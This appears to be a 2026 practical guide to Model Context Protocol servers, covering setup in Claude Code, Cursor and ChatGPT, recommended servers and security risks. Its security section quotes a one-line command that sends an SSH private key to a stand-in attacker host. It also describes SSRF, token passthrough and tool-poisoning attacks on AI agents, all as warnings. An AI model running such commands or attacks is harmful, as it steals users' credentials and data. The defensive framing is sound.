How to Use MCP Servers: The Practical Model Context Protocol Guide (2026)
How to Use MCP Servers: The Practical Model Context Protocol Guide (2026)
If you use an AI coding agent in 2026, you have almost certainly been asked whether you want to add an MCP server. Most people click past it.
That's a mistake — because MCP servers are the difference between an AI that can talk about your Jira board and an AI that can actually read it. The Model Context Protocol is the plumbing that lets an AI assistant reach outside its own chat window into your files, your database, your issue tracker, and your production logs.
This guide covers what MCP actually is (not the marketing version), how to add MCP servers to the tools you already use, which servers are worth your time, and the security traps that have already bitten real deployments.
What Is the Model Context Protocol?
MCP is an open standard for connecting AI applications to external systems. The official documentation describes it with an analogy that has stuck: "Think of MCP like a USB-C port for AI applications." Just as USB-C gave every device one connector instead of a drawer full of proprietary cables, MCP gives every AI app one way to talk to every data source and tool.
Before MCP, each integration was bespoke. If you wanted Claude to read your Linear issues, someone had to write Claude-specific Linear glue code. If you then wanted ChatGPT to do the same, someone wrote it again. MCP replaces that N×M problem with a single protocol: build a server once, and every MCP-compatible client can use it.
A short history
MCP has moved fast, and knowing the timeline helps you read documentation correctly:
- November 25, 2024 — Anthropic introduces MCP as an open standard. Engineers David Soria Parra and Justin Spahr-Summers created the protocol to address information silos and legacy systems.
- March 2025 — OpenAI officially adopts MCP, integrating it across products including the ChatGPT desktop app.
- April 2025 — Google DeepMind embraces the standard.
- September 2025 — OpenAI adds MCP support to ChatGPT apps for third-party access.
- December 2025 — Anthropic donates MCP to the Agentic AI Foundation (AAIF), a directed fund under the Linux Foundation co-founded by Anthropic, Block, and OpenAI. MCP is no longer a single-vendor project.
- July 28, 2026 — Maintainers finalize a major revision making MCP stateless at the protocol layer, removing session tracking.
That last change matters more than it sounds, and we'll come back to it.
How MCP Works: The Three Participants
MCP uses a client-server architecture with three named roles. Getting these straight prevents most of the confusion people have when reading MCP docs.
- MCP Host — the AI application itself. Claude Code, Claude Desktop, Cursor, or VS Code. The host coordinates one or more clients.
- MCP Client — a connector component inside the host. The host creates one client per server. Connect VS Code to a Sentry server and a filesystem server, and VS Code instantiates two separate client objects.
- MCP Server — the program that provides context. It can run on your laptop or in someone else's cloud.
The word "server" trips people up because it implies remote hosting. In MCP it doesn't. A "local" MCP server is just a program on your machine communicating over standard input/output. A "remote" MCP server runs on a vendor's platform over HTTP. Same protocol, different transport.
The two layers
MCP is specified as two layers:
- Data layer — a JSON-RPC 2.0 protocol defining message structure, capability discovery, and the core primitives.
- Transport layer — how bytes actually move, plus authentication.
There are exactly two official transports:
- stdio — standard input/output streams between local processes on the same machine. No network overhead, best performance, and naturally limited to one client.
- Streamable HTTP — HTTP POST for client-to-server messages with optional Server-Sent Events for streaming. This is what remote servers use, and it supports bearer tokens, API keys, and custom headers. The spec recommends OAuth for obtaining tokens.
The Primitives: Tools, Resources, and Prompts
This is the part worth actually understanding, because it determines what a given MCP server can do for you.
Servers can expose three primitives:
| Primitive | What it is | Example |
|---|---|---|
| Tools | Executable functions the AI can invoke to perform actions | Run a database query, create a Jira issue, write a file |
| Resources | Data sources that provide contextual information | A database schema, a file's contents, an API response |
| Prompts | Reusable templates that structure model interactions | A system prompt, a set of few-shot examples |
Each primitive has discovery methods (tools/list, resources/list, prompts/list), retrieval methods, and in the case of tools, execution via tools/call. Because discovery is a live request rather than a static manifest, a server's tool list can change at runtime — which is why the protocol also supports change notifications.
A single well-designed server usually combines all three. The docs give a clean example: a database server might expose tools for querying, a resource containing the schema, and a prompt with few-shot examples for using those tools correctly.
What the client offers back
Servers aren't the only ones with primitives. As of the current spec, clients expose one:
- Elicitation — lets a server request additional information from the user mid-operation, via
elicitation/create. Useful for confirmation prompts ("really delete 400 rows?") or missing parameters.
Two client primitives were deprecated in the 2026-07-28 revision, and you should know this if you're reading older tutorials:
- Sampling (
sampling/createMessage), which let servers borrow the client's LLM. New implementations are told to integrate directly with LLM provider APIs instead. - Logging, which sent log messages to clients. New implementations should log to
stderron stdio, or use OpenTelemetry.
If a 2025 blog post tells you to build a server around sampling, that advice has expired.
What "stateless" changed
Under the July 2026 revision, MCP is stateless: every request carries the protocol version and relevant capabilities in its _meta field, so the server infers nothing from previous requests. Servers advertise supported versions and capabilities through a mandatory server/discover request, which clients may send before anything else — but don't have to, since every request is self-describing anyway.
Discovery responses are cacheable. They come back with ttlMs (a freshness hint in milliseconds) and cacheScope (who may reuse the response), so a client doesn't need to re-discover on every call.
Change notifications became opt-in too. A client opens a long-lived subscriptions/listen stream naming the notification types it wants, the server acknowledges the subset it will honor, and matching notifications arrive tagged with a subscription ID. The spec is explicit that notifications are best effort — clients should still poll to preserve freshness.
How to Add MCP Servers to Your Tools
Enough theory. Here's how to actually wire servers into the major clients.
Claude Code
Claude Code has first-class MCP support, which is unsurprising given Anthropic wrote the protocol. Everything runs through claude mcp.
Add a remote HTTP server:
claude mcp add --transport http notion https://mcp.notion.com/mcp
Add a local stdio server. Note the -- separator, which divides Claude's own flags from the command it should run:
claude mcp add --transport stdio airtable -- npx -y airtable-mcp-server
Pass credentials as environment variables or headers rather than baking them into a command:
claude mcp add --env AIRTABLE_API_KEY=YOUR_KEY --transport stdio airtable \
-- npx -y airtable-mcp-server
claude mcp add --transport http secure-api https://api.example.com/mcp \
--header "Authorization: Bearer your-token"
Scopes are the feature most people miss. Claude Code offers three, and picking the right one saves real friction:
| Scope | Flag | Stored in | Who gets it |
|---|---|---|---|
| Local (default) | --scope local |
~/.claude.json |
Just you, just this project |
| Project | --scope project |
.mcp.json in project root |
Your whole team, via version control |
| User | --scope user |
~/.claude.json |
Just you, all your projects |
Use project scope for servers the team needs (your staging database, your issue tracker) so .mcp.json is committed and everyone gets the same setup. Use user scope for personal tooling you want everywhere.
For remote servers behind OAuth, authenticate interactively:
claude mcp login sentry
claude mcp logout sentry # clears credentials
Or run /mcp inside a session to see status and complete a browser login.
Useful management commands:
claude mcp list # all configured servers
claude mcp get <name> # details for one
claude mcp remove <name>
claude mcp add-from-claude-desktop # import existing config
claude mcp serve # expose Claude Code AS an MCP server
Three settings worth knowing when a server misbehaves. MCP_TIMEOUT raises the server startup timeout (MCP_TIMEOUT=10000 claude gives it ten seconds to boot). MCP_TOOL_TIMEOUT is the separate per-tool-call limit — and you can override it for one server by adding a timeout field in milliseconds to that server's .mcp.json entry. Note that the per-server timeout is a hard wall-clock limit per call: progress notifications from the server do not extend it. Finally, MAX_MCP_OUTPUT_TOKENS adjusts how much server output is allowed into context.
Cursor
Cursor uses JSON config files in two locations:
.cursor/mcp.json— project level~/.cursor/mcp.json— global
A local stdio server:
{
"mcpServers": {
"server-name": {
"type": "stdio",
"command": "npx",
"args": ["-y", "mcp-server"],
"env": { "API_KEY": "value" }
}
}
}
A remote server:
{
"mcpServers": {
"server-name": {
"url": "http://localhost:3000/mcp",
"headers": { "API_KEY": "value" }
}
}
}
Cursor supports variable substitution — ${env:NAME}, ${workspaceFolder}, and similar placeholders. Use it. "API_KEY": "${env:MY_KEY}" lets you commit .cursor/mcp.json without committing a secret.
For the least-effort path, the Cursor Marketplace has one-click Add to Cursor entries that install and handle OAuth for you, and team admins can distribute approved servers through team marketplaces.
ChatGPT and the OpenAI API
OpenAI's MCP support splits across surfaces:
- ChatGPT Developer mode lets you connect a custom MCP server URL directly and test it in the interface.
- ChatGPT connectors, apps, deep research, and company knowledge all build on MCP servers.
- The Responses API exposes an MCP tool type for programmatic use.
OpenAI's documentation emphasizes two read-only tools for search-oriented servers — search to find relevant documents and fetch to retrieve full content. Write actions are supported but require manual confirmation in any conversation; read-only tools skip the approval workflow. For authorization, ChatGPT supports OAuth with Client ID Metadata Documents, including public-client token exchange and signed client assertions.
Check your plan before you build on write actions. OpenAI's own documentation is currently inconsistent here: the developer guide describes developer mode as giving full MCP client support for all tools, read and write, across Pro, Plus, Business, Enterprise, and Education accounts — while the more recently updated help-center article says full MCP is available only to Business and Enterprise/Edu users, with Pro limited to read and fetch. Developer mode itself is available on the paid individual plans. Until OpenAI reconciles those two pages, test write actions in your own account rather than trusting either page.
OpenAI is blunt about the trust model: custom MCP servers are "not developed or verified by OpenAI" and remain third-party services. You need to know and trust the underlying application before connecting it.
VS Code and others
VS Code acts as an MCP host through its Copilot Chat MCP support. Cline ships an MCP Marketplace with human-in-the-loop approval on every call, and runs in VS Code, JetBrains IDEs, Cursor, and Windsurf. Zed, Continue, and Replit are also in the ecosystem.
One practical caveat across the board: custom MCP server support usually sits behind a paid plan or a developer toggle rather than being available on a free tier. Cursor lists MCP as an Individual-plan feature, and ChatGPT requires developer mode on a paid plan. Check your own plan before planning a workflow around it.
Which MCP Servers Should You Actually Install?
Start with the official reference implementations. The modelcontextprotocol/servers repository maintains a deliberately short list of reference servers:
- Filesystem — read and write local files within allowed directories
- Git — inspect repositories, read history, search commits
- Fetch — retrieve and convert web content for model consumption
- Memory — a persistent knowledge graph across sessions
- Sequential Thinking — structured multi-step reasoning
- Time — time and timezone handling
- Everything — a test server exercising every protocol feature, ideal for debugging
Beyond the reference set, developer tooling has the most mature ecosystem — GitHub, Linear, Jira, Notion, Slack, and Sentry all have official or near-official servers. Sentry's is a good model of a production remote server: hosted by the vendor, Streamable HTTP transport, OAuth authentication.
To find servers, the official MCP Registry at registry.modelcontextprotocol.io launched in preview in September 2025 as an open catalog and API of publicly available servers. Client-specific marketplaces (Cursor's, Cline's) curate on top of it.
A realistic starting stack
You do not need twenty servers. Tool lists consume context, and a bloated registry makes the model worse at choosing. Start with three:
- One code/repo server — Git or GitHub, so the agent can reason about history instead of guessing.
- One issue-tracker server — Linear, Jira, or GitHub Issues, so "fix the bug in TF-214" resolves to actual text.
- One observability server — Sentry or your logging platform, so debugging starts from real stack traces.
Add a fourth only when you notice yourself pasting the same kind of data into chat by hand. That's the actual signal that you need a server.
For clients federating many servers, the spec points to progressive tool discovery rather than loading every tool upfront — worth knowing if your tool list has grown past what fits comfortably in context.
Security: The Part You Cannot Skip
MCP hands an AI model the ability to execute code and call APIs on your behalf. The risks are real and documented. In April 2025, security researchers identified multiple issues including prompt injection vulnerabilities and poisoned tools allowing data exfiltration through other connected tools.
The official security best-practices document names specific attack classes. Here's what matters for each audience.
If you install servers
Local MCP servers are arbitrary code running with your privileges. The spec's own illustration of a malicious startup command is instructive:
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
That's a one-line SSH key exfiltration hidden in what looks like a normal install. Concretely:
- Read the full command before approving. For one-click local server installs, the spec requires clients to show the exact command without truncation and get explicit approval. If yours truncates the command, that's a red flag.
- Watch for
sudo,rm -rf, network calls, and paths outside the project — especially anything touching your home directory or SSH keys. - Prefer stdio for local servers. It limits access to just your MCP client, versus an HTTP server on localhost that other processes can reach.
- Prefer official/vendor-hosted servers over random community packages for anything touching production credentials.
- Sandbox where you can. The spec recommends containers or platform sandboxes with minimal default privileges.
If you build servers
The single hardest rule in the spec: MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server. Accepting a token minted for another service — and worse, forwarding it downstream — is the "token passthrough" anti-pattern. It breaks audience validation, destroys your audit trail, and turns your server into a data-exfiltration proxy for anyone holding a stolen token.
Other named risks:
- Confused deputy — if your server proxies a third-party API with a static client ID while letting clients register dynamically, an attacker can ride an existing consent cookie to steal authorization codes. Mitigation: implement per-client consent before the third-party flow, store approvals per
client_id, and validateredirect_uriwith exact string matching — never wildcards. - State handle hijacking — since MCP is now stateless, servers that need cross-request state mint an explicit handle passed back as a normal tool argument. Never treat possession of a handle as authentication. Use cryptographically random handles and bind them server-side to the authenticated user (e.g. key state as
<user_id>:<handle>where the user ID comes from the verified token, not the client). - SSRF via OAuth discovery — malicious servers can point discovery URLs at internal addresses like
http://169.254.169.254/to harvest cloud credentials. Clients should require HTTPS, block private and link-local IP ranges, and validate redirect targets. The spec explicitly warns against hand-rolling IP validation: attackers exploit octal, hex, and IPv4-mapped-IPv6 encoding tricks that custom parsers miss. - Dangerous authorization URLs — clients must allow only
http://(loopback, dev only) andhttps://schemes, rejectingjavascript:,data:,file:, andvbscript:. And they must not use shell commands to open URLs, which turns a crafted URL into command injection. - Scope inflation — start with a minimal scope set and elevate incrementally via targeted
WWW-Authenticatechallenges. Wildcard scopes like*,all, orfull-accessmaximize the blast radius of any stolen token and train users to click through consent screens.
The honest summary
Every MCP server you connect expands your agent's attack surface. That's not a reason to avoid MCP — it's a reason to treat server installation like adding a dependency with shell access, because that's precisely what it is.
Building Your Own MCP Server
If no server exists for your internal system, writing one is genuinely approachable. The scope of the MCP project includes:
- The specification — implementation requirements for clients and servers
- Official SDKs for multiple languages, which abstract away most of the JSON-RPC mechanics
- MCP Inspector — a development tool for poking at your server interactively
- Reference server implementations to copy patterns from
The practical path: pick the language you already use, start from a reference server, expose one tool, and test it in MCP Inspector before wiring it into a real client. The Everything reference server is useful here too, since it exercises every protocol feature and shows you what correct behavior looks like.
Two design notes that will save you rework:
- Name tools specifically. The spec's own guidance is to use
calculator_arithmeticrather thancalculate— descriptive, namespaced names help the model pick correctly. Tools also carry atitlefor human display and adescriptionexplaining when to use them. Write that description for the model, not for a changelog. - Look at extensions before inventing your own mechanism. The Tasks extension lets servers return a durable handle for long-running requests so clients can poll and retrieve results later — the right answer for anything slower than a few seconds. There's also an MCP Apps extension for interactive apps running inside AI clients.
Common Mistakes
Installing too many servers. Every server's tools land in the model's registry. Twenty servers means a bloated tool list and worse tool selection. Prune quarterly.
Hardcoding secrets into config. Use --env and headers in Claude Code, ${env:NAME} interpolation in Cursor. A committed .mcp.json or .cursor/mcp.json with a live API key is a leaked credential.
Using local scope for team servers. If your team needs the same server, use project scope so it lives in version control. Otherwise you'll answer the same setup question forever.
Following 2025 tutorials verbatim. Sampling and logging are deprecated as client primitives. Session tracking is gone. Tutorials written before July 2026 may teach patterns the current spec has removed.
Assuming remote means safe. A vendor-hosted server doesn't execute code on your laptop, but it does receive whatever data your agent sends it, under whatever OAuth scopes you granted. Read the scopes.
Skipping the consent screen. The consent dialog exists because MCP server commands run with your privileges. Reading it takes five seconds.
The Bottom Line
MCP won because it solved a boring problem well: one protocol instead of N×M integrations. Its donation to the Linux Foundation's Agentic AI Foundation in December 2025 — with Anthropic, Block, and OpenAI as co-founders — means it's now shared infrastructure rather than one company's format.
To get value from it this week:
- Pick your host — Claude Code for terminal-native work with team-shareable config, Cursor for one-click marketplace installs, Cline if you want open source with approval on every call.
- Install three servers, not twenty — a repo server, an issue tracker, and observability. Add more only when you catch yourself pasting data by hand.
- Use project scope and env interpolation so your team shares config without sharing secrets.
- Read every install command in full before approving it, and prefer stdio for local servers.
- If you build a server, never accept a token that wasn't issued to you, and start from minimal scopes.
The AI coding tools in your stack are already MCP hosts. The question isn't whether to use the protocol — it's whether you connect three servers deliberately or twelve by accident.
Published September 30, 2026. MCP is a fast-moving standard — protocol details reflect the 2026-07-28 specification revision. Always check modelcontextprotocol.io for the current spec, and verify tool pricing directly with vendors, as plans change frequently.
Sources
- Model Context Protocol — What is MCP?
- MCP Architecture Overview (2026-07-28)
- MCP Security Best Practices
- Claude Code — MCP documentation
- Cursor — MCP documentation
- OpenAI — MCP documentation
- VS Code — MCP servers in Copilot Chat
- Introducing the MCP Registry
- Official MCP reference servers repository
- Invariant Labs — MCP tool poisoning attacks (April 2025)
- OpenAI — Developer mode and MCP apps in ChatGPT
- Cursor pricing
- Cline pricing and Cline for JetBrains
- Model Context Protocol — Wikipedia